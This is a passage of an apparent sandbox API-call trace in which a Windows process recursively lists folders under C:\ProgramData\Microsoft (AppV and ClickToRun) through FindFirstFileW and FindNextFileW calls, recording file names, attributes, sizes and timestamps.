lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\AppV\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d3d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0269.972] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d3d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.972] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d9bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup", cAlternateFileName="")) returned 1 [0269.973] GetProcessHeap () returned 0xc10000 [0269.973] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0269.974] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\AppV\\Setup\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d9bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0269.977] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d9bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.977] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x799dd27b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe2889e45, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe2889e45, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1368, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeIntegrator.ps1", cAlternateFileName="")) returned 1 [0269.978] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x799dd27b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe2889e45, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe2889e45, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1368, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeIntegrator.ps1", cAlternateFileName="")) returned 0 [0269.978] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0269.978] GetProcessHeap () returned 0xc10000 [0269.978] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0270.338] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d9bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup", cAlternateFileName="")) returned 0 [0270.338] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0270.338] GetProcessHeap () returned 0xc10000 [0270.338] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0270.339] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c2b2f4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xfa011b19, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xfa011b19, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClickToRun", cAlternateFileName="CLICKT~1")) returned 1 [0270.339] GetProcessHeap () returned 0xc10000 [0270.340] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0270.340] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c2b2f4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3c4413a9, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c4413a9, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0270.341] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c2b2f4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3c4413a9, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c4413a9, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.341] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a7c64d, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a7c64d, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4", cAlternateFileName="0D0D4E~1")) returned 1 [0270.341] GetProcessHeap () returned 0xc10000 [0270.341] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0270.341] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a7c64d, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a7c64d, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0270.343] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a7c64d, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a7c64d, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.343] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6a5650a, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a7c64d, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a7c64d, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us.16", cAlternateFileName="")) returned 1 [0270.343] GetProcessHeap () returned 0xc10000 [0270.343] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0270.343] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6a5650a, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a7c64d, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a7c64d, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0270.346] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6a5650a, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a7c64d, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a7c64d, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.346] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6a5650a, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a5650a, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x39768000, ftLastWriteTime.dwHighDateTime=0x1d0d7ee, nFileSizeHigh=0x0, nFileSizeLow=0x564f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.en-us.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0270.346] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6a5650a, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a5650a, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x6035b600, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s641033.hash", cAlternateFileName="S64103~1.HAS")) returned 1 [0270.346] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6a5650a, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a5650a, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x3e87ff00, ftLastWriteTime.dwHighDateTime=0x1d0d7ef, nFileSizeHigh=0x0, nFileSizeLow=0xd77c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x64.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0270.346] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6a5650a, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a5650a, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x3e87ff00, ftLastWriteTime.dwHighDateTime=0x1d0d7ef, nFileSizeHigh=0x0, nFileSizeLow=0xd77c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x64.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0270.346] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0270.347] GetProcessHeap () returned 0xc10000 [0270.347] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0270.347] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a5650a, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a5650a, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0270.347] GetProcessHeap () returned 0xc10000 [0270.347] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0270.347] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a5650a, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a5650a, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0270.350] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a5650a, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a5650a, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.350] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6a09ff9, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a09ff9, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x37142600, ftLastWriteTime.dwHighDateTime=0x1d0d7ee, nFileSizeHigh=0x0, nFileSizeLow=0x5211, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.x-none.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0270.350] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6a302bd, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a302bd, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x6035b600, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s640.hash", cAlternateFileName="S640~1.HAS")) returned 1 [0270.350] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6a302bd, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a302bd, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x6035b600, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x38480a, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x64.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0270.351] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6a302bd, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a302bd, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x6035b600, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x38480a, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x64.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0270.351] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0270.352] GetProcessHeap () returned 0xc10000 [0270.352] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0270.352] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a5650a, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a5650a, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0 [0270.352] FindClose (in: hFindFile=0x33e4de8 | out: hFindFile=0x33e4de8) returned 1 [0270.352] GetProcessHeap () returned 0xc10000 [0270.352] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0270.352] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ee74e6, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ee74e6, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="19B11135-37BD-4FA1-A78E-C20CA2BDA1C0", cAlternateFileName="19B111~1")) returned 1 [0270.352] GetProcessHeap () returned 0xc10000 [0270.352] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0270.352] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ee74e6, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ee74e6, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0270.353] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ee74e6, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ee74e6, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.353] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96ec13b1, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ee74e6, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ee74e6, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us.16", cAlternateFileName="")) returned 1 [0270.353] GetProcessHeap () returned 0xc10000 [0270.353] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0270.353] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96ec13b1, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ee74e6, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ee74e6, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0270.357] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96ec13b1, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ee74e6, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ee74e6, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.357] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96ec13b1, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x39768000, ftLastWriteTime.dwHighDateTime=0x1d0d7ee, nFileSizeHigh=0x0, nFileSizeLow=0x564f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.en-us.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0270.358] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96ec13b1, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x6035b600, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s641033.hash", cAlternateFileName="S64103~1.HAS")) returned 1 [0270.358] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96ec13b1, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x3e87ff00, ftLastWriteTime.dwHighDateTime=0x1d0d7ef, nFileSizeHigh=0x0, nFileSizeLow=0xd77c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x64.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0270.358] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96ec13b1, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x3e87ff00, ftLastWriteTime.dwHighDateTime=0x1d0d7ef, nFileSizeHigh=0x0, nFileSizeLow=0xd77c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x64.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0270.358] FindClose (in: hFindFile=0x33e4de8 | out: hFindFile=0x33e4de8) returned 1 [0270.359] GetProcessHeap () returned 0xc10000 [0270.359] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0270.359] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ec13b1, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0270.359] GetProcessHeap () returned 0xc10000 [0270.359] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0270.359] FindFirstFileW (in: 